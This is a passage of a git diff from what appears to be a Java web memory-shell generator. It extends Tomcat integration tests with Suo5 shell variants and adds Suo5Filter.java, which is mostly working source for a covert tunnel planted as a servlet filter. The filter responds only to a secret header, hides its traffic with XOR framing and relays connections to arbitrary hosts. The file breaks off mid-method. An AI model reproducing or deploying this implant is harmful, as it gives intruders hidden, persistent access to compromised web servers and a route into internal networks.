Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JSP), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java index 4d87703c..151d9f91 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java @@ -50,6 +50,9 @@ public class Tomcat5ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSPX), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSPX), + arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSPX), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize), @@ -59,6 +62,9 @@ public class Tomcat5ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSPX), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSPX), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSPX), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), @@ -68,6 +74,9 @@ public class Tomcat5ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSPX), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSPX), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSPX), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize), @@ -76,7 +85,10 @@ public class Tomcat5ContainerTest { arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSPX), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize) + arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSPX), + arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize) // arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar) // arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), // arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java index ebb0b071..44d05530 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java @@ -48,24 +48,32 @@ public class Tomcat6ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java index b8b70bfc..7ca6811e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java @@ -48,24 +48,32 @@ public class Tomcat7ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java index 49501944..cb4453d3 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java @@ -51,6 +51,9 @@ public class Tomcat8ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.ScriptEngine), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.ScriptEngine), + arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.ScriptEngine), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize), @@ -60,6 +63,9 @@ public class Tomcat8ContainerTest { arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.ScriptEngine), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.ScriptEngine), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.ScriptEngine), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), @@ -69,6 +75,9 @@ public class Tomcat8ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.ScriptEngine), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.ScriptEngine), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.ScriptEngine), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize), @@ -78,6 +87,9 @@ public class Tomcat8ContainerTest { arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.ScriptEngine), arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.ScriptEngine), + arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java index 0a2f71f6..b59b234a 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java @@ -47,24 +47,32 @@ public class Tomcat9ContainerTest { arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5Filter.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5Filter.java new file mode 100644 index 00000000..96a06e10 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5Filter.java @@ -0,0 +1,574 @@ +package com.reajason.javaweb.memshell.shelltool.suo5; + + +import javax.net.ssl.*; +import javax.servlet.*; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.*; +import java.net.*; +import java.nio.ByteBuffer; +import java.security.cert.CertificateException; +import java.security.cert.X509Certificate; +import java.util.Enumeration; +import java.util.HashMap; + +/** + * @author ReaJason + */ +public class Suo5Filter implements Filter, Runnable, HostnameVerifier, X509TrustManager { + public static String headerName; + public static String headerValue; + public static HashMap addrs = collectAddr(); + public static HashMap ctx = new HashMap(); + + InputStream gInStream; + OutputStream gOutStream; + + public Suo5Filter() { + } + + public Suo5Filter(InputStream in, OutputStream out) { + this.gInStream = in; + this.gOutStream = out; + } + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + } + + @Override + public void destroy() { + } + + @Override + public void doFilter(ServletRequest sReq, ServletResponse sResp, FilterChain chain) throws IOException, ServletException { + HttpServletRequest request = (HttpServletRequest) sReq; + HttpServletResponse response = (HttpServletResponse) sResp; + String contentType = request.getHeader("Content-Type"); + + if (request.getHeader(headerName) == null || !request.getHeader(headerName).contains(headerValue)) { + chain.doFilter(sReq, sResp); + return; + } + if (contentType == null) { + return; + } + + try { + if (contentType.equals("application/plain")) { + tryFullDuplex(request, response); + return; + } + + if (contentType.equals("application/octet-stream")) { + processDataBio(request, response); + } else { + processDataUnary(request, response); + } + } catch (Throwable e) { +// System.out.printf("process data error %s\n", e); +// e.printStackTrace(); + } + } + + public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException { + int bufferOffset = 0; + while (bufferOffset < b.length) { + int readLength = b.length - bufferOffset; + int readResult = is.read(b, bufferOffset, readLength); + if (readResult == -1) break; + bufferOffset += readResult; + } + } + + public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException { + InputStream in = request.getInputStream(); + byte[] data = new byte[32]; + readFull(in, data); + OutputStream out = response.getOutputStream(); + out.write(data); + out.flush(); + } + + + private HashMap newCreate(byte s) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x04}); + m.put("s", new byte[]{s}); + return m; + } + + private HashMap newData(byte[] data) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x01}); + m.put("dt", data); + return m; + } + + private HashMap newDel() { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x02}); + return m; + } + + private HashMap newStatus(byte b) { + HashMap m = new HashMap(); + m.put("s", new byte[]{b}); + return m; + } + + byte[] u32toBytes(int i) { + byte[] result = new byte[4]; + result[0] = (byte) (i >> 24); + result[1] = (byte) (i >> 16); + result[2] = (byte) (i >> 8); + result[3] = (byte) (i /*>> 0*/); + return result; + } + + int bytesToU32(byte[] bytes) { + return ((bytes[0] & 0xFF) << 24) | + ((bytes[1] & 0xFF) << 16) | + ((bytes[2] & 0xFF) << 8) | + ((bytes[3] & 0xFF) << 0); + } + + synchronized void put(String k, Object v) { + ctx.put(k, v); + } + + synchronized Object get(String k) { + return ctx.get(k); + } + + synchronized Object remove(String k) { + return ctx.remove(k); + } + + byte[] copyOfRange(byte[] original, int from, int to) { + int newLength = to - from; + if (newLength < 0) { + throw new IllegalArgumentException(from + " > " + to); + } + byte[] copy = new byte[newLength]; + int copyLength = Math.min(original.length - from, newLength); + // can't use System.arraycopy of Arrays.copyOf, there is no system in some environment + // System.arraycopy(original, from, copy, 0, copyLength); + for (int i = 0; i < copyLength; i++) { + copy[i] = original[from + i]; + } + return copy; + } + + + private byte[] marshal(HashMap m) throws IOException { + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + Object[] keys = m.keySet().toArray(); + for (int i = 0; i < keys.length; i++) { + String key = (String) keys[i]; + byte[] value = (byte[]) m.get(key); + buf.write((byte) key.length()); + buf.write(key.getBytes()); + buf.write(u32toBytes(value.length)); + buf.write(value); + } + + byte[] data = buf.toByteArray(); + ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length); + dbuf.putInt(data.length); + // xor key + byte key = (byte) ((Math.random() * 255) + 1); + dbuf.put(key); + for (int i = 0; i < data.length; i++) { + data[i] = (byte) (data[i] ^ key); + } + dbuf.put(data); + return dbuf.array(); + } + + private HashMap unmarshal(InputStream in) throws Exception { + byte[] header = new byte[4 + 1]; // size and datatype + readFull(in, header); + // read full + ByteBuffer bb = ByteBuffer.wrap(header); + int len = bb.getInt(); + int x = bb.get(); + if (len > 1024 * 1024 * 32) { + throw new IOException("invalid len"); + } + byte[] bs = new byte[len]; + readFull(in, bs); + for (int i = 0; i < bs.length; i++) { + bs[i] = (byte) (bs[i] ^ x); + } + HashMap m = new HashMap(); + byte[] buf; + for (int i = 0; i < bs.length - 1; ) { + short kLen = bs[i]; + i += 1; + if (i + kLen >= bs.length) { + throw new Exception("key len error"); + } + if (kLen < 0) { + throw new Exception("key len error"); + } + buf = copyOfRange(bs, i, i + kLen); + String key = new String(buf); + i += kLen; + + if (i + 4 >= bs.length) { + throw new Exception("value len error"); + } + buf = copyOfRange(bs, i, i + 4); + int vLen = bytesToU32(buf); + i += 4; + if (vLen < 0) { + throw new Exception("value error"); + } + + if (i + vLen > bs.length) { + throw new Exception("value error"); + } + byte[] value = copyOfRange(bs, i, i + vLen); + i += vLen; + + m.put(key, value); + } + return m; + } + + private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception { + final InputStream reqInputStream = request.getInputStream(); + HashMap dataMap = unmarshal(reqInputStream); + + byte[] action = (byte[]) dataMap.get("ac"); + if (action.length != 1 || action[0] != 0x00) { + resp.setStatus(403); + return; + } + resp.setBufferSize(512); + final OutputStream respOutStream = resp.getOutputStream(); + + // 0x00 create socket + resp.setHeader("X-Accel-Buffering", "no"); + Socket sc; + try { + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + try { + // Cannot convert Integer to int + port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } catch (Exception e) { + port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } + } + sc = new Socket(); + sc.connect(new InetSocketAddress(host, port), 5000); + } catch (Exception e) { + respOutStream.write(marshal(newStatus((byte) 0x01))); + respOutStream.flush(); + respOutStream.close(); + return; + } + + respOutStream.write(marshal(newStatus((byte) 0x00))); + respOutStream.flush(); + resp.flushBuffer(); + + final OutputStream scOutStream = sc.getOutputStream(); + final InputStream scInStream = sc.getInputStream(); + + Thread t = null; + try { + Suo5Filter p = new Suo5Filter(scInStream, respOutStream); + t = new Thread(p); + t.start(); + readReq(reqInputStream, scOutStream); + } catch (Exception e) { +// System.out.printf("pipe error, %s\n", e); + } finally { + sc.close(); + respOutStream.close(); + if (t != null) { + t.join(); + } + } + } + + private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException { + byte[] readBuf = new byte[1024 * 8]; + while (true) { + int n = inputStream.read(readBuf); + if (n <= 0) { + break; + } + byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); + if (needMarshal) { + dataTmp = marshal(newData(dataTmp)); + } + outputStream.write(dataTmp); + outputStream.flush(); + } + } + + private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception { + while (true) { + HashMap dataMap; + dataMap = unmarshal(bufInputStream); + + byte[] actions = (byte[]) dataMap.get("ac"); + if (actions.length != 1) { + return; + } + byte action = actions[0]; + if (action == 0x02) { + socketOutStream.close(); + return; + } else if (action == 0x01) { + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + socketOutStream.write(data); + socketOutStream.flush(); + } + } else if (action == 0x03) { + continue; + } else { + return; + } + } + } + + private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws + Exception { + InputStream is = request.getInputStream(); + BufferedInputStream reader = new BufferedInputStream(is); + HashMap dataMap; + dataMap = unmarshal(reader); + + + String clientId = new String((byte[]) dataMap.get("id")); + byte[] actions = (byte[]) dataMap.get("ac"); + if (actions.length != 1) { + resp.setStatus(403); + return; + } + /* + ActionCreate byte = 0x00 + ActionData byte = 0x01 + ActionDelete byte = 0x02 + ActionHeartbeat byte = 0x03 + */ + byte action = actions[0]; + byte[] redirectData = (byte[]) dataMap.get("r"); + boolean needRedirect = redirectData != null && redirectData.length > 0; + String redirectUrl = ""; + if (needRedirect) { + dataMap.remove("r"); + redirectUrl = new String(redirectData); + needRedirect = !isLocalAddr(redirectUrl); + } + // load balance, send request with data to request url + // action 0x00 need to pipe, see below + if (needRedirect && action >= 0x01 && action <= 0x03) { + HttpURLConnection conn = redirect(request, dataMap, redirectUrl); + conn.disconnect(); + return; + } + + resp.setBufferSize(512); + OutputStream respOutStream = resp.getOutputStream(); + if (action == 0x02) { + Object o = this.get(clientId); + if (o == null) return; + OutputStream scOutStream = (OutputStream) o; + scOutStream.close(); + return; + } else if (action == 0x01) { + Object o = this.get(clientId); + if (o == null) { + respOutStream.write(marshal(newDel())); + respOutStream.flush(); + respOutStream.close(); + return; + } + OutputStream scOutStream = (OutputStream) o; + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + scOutStream.write(data); + scOutStream.flush(); + } + respOutStream.close(); + return; + } else { + } + + if (action != 0x00) { + return; + } + // 0x00 create new tunnel + resp.setHeader("X-Accel-Buffering", "no"); + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + try { + port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } catch (Exception e) { + port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } + } + + InputStream readFrom; + Socket sc = null; + HttpURLConnection conn = null; + + if (needRedirect) { + // pipe redirect stream and current response body + conn = redirect(request, dataMap, redirectUrl); + readFrom = conn.getInputStream(); + } else { + // pipe socket stream and current response body + try { + sc = new Socket(); + sc.connect(new InetSocketAddress(host, port), 5000); + readFrom = sc.getInputStream(); + this.put(clientId, sc.getOutputStream()); + respOutStream.write(marshal(newStatus((byte) 0x00))); + respOutStream.flush(); + resp.flushBuffer(); + } catch (Exception e) { +// System.out.printf("connect error %s\n", e); +// e.printStackTrace(); + this.remove(clientId); + respOutStream.write(marshal(newStatus((byte) 0x01))); + respOutStream.flush(); + respOutStream.close(); + return; + } + } + try { + readSocket(readFrom, respOutStream, !needRedirect); + } catch (Exception e) { +// System.out.println("socket error " + e.toString()); +// e.printStackTrace(); + } finally { + if (sc != null) { + sc.close(); + } + if (conn != null) { + conn.disconnect(); + } + respOutStream.close(); + this.remove(clientId); + } + } + + public void run() { + try { + readSocket(gInStream, gOutStream, true); + } catch (Exception e) { +// System.out.printf("read socket error, %s\n", e); +// e.printStackTrace(); + } + } + + static HashMap collectAddr() { + HashMap addrs = new HashMap(); + try { + Enumeration nifs = NetworkInterface.getNetworkInterfaces(); + while (nifs.hasMoreElements()) { + NetworkInterface nif = (NetworkInterface) nifs.nextElement(); + Enumeration addresses = nif.getInetAddresses(); + while (addresses.hasMoreElements()) { + InetAddress addr = (InetAddress) addresses.nextElement(); + String s = addr.getHostAddress(); + if (s != null) { + // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 + int ifaceIndex = s.indexOf('%'); + if (ifaceIndex != -1) { + s = s.substring(0, ifaceIndex); + } + addrs.put((Object) s, (Object) Boolean.TRUE); + } + } + } + } catch (Exception e) { +// System.out.printf("read socket error, %s\n", e); +// e.printStackTrace(); + } + return addrs; + } + + boolean isLocalAddr(String url) throws Exception { + String ip = (new URL(url)).getHost(); + return addrs.containsKey(ip); + } + + HttpURLConnection redirect(HttpServletRequest request, HashMap dataMap, String rUrl) throws Exception { + String method = request.getMethod(); + URL u = new URL(rUrl); + HttpURLConnection conn = (HttpURLConnection) u.openConnection(); + conn.setRequestMethod(method); + try { + // conn.setConnectTimeout(3000); + conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); + // conn.setReadTimeout(0); + conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); + } catch (Exception e) { + // java1.4 + } + conn.setDoOutput(true); + conn.setDoInput(true); + + 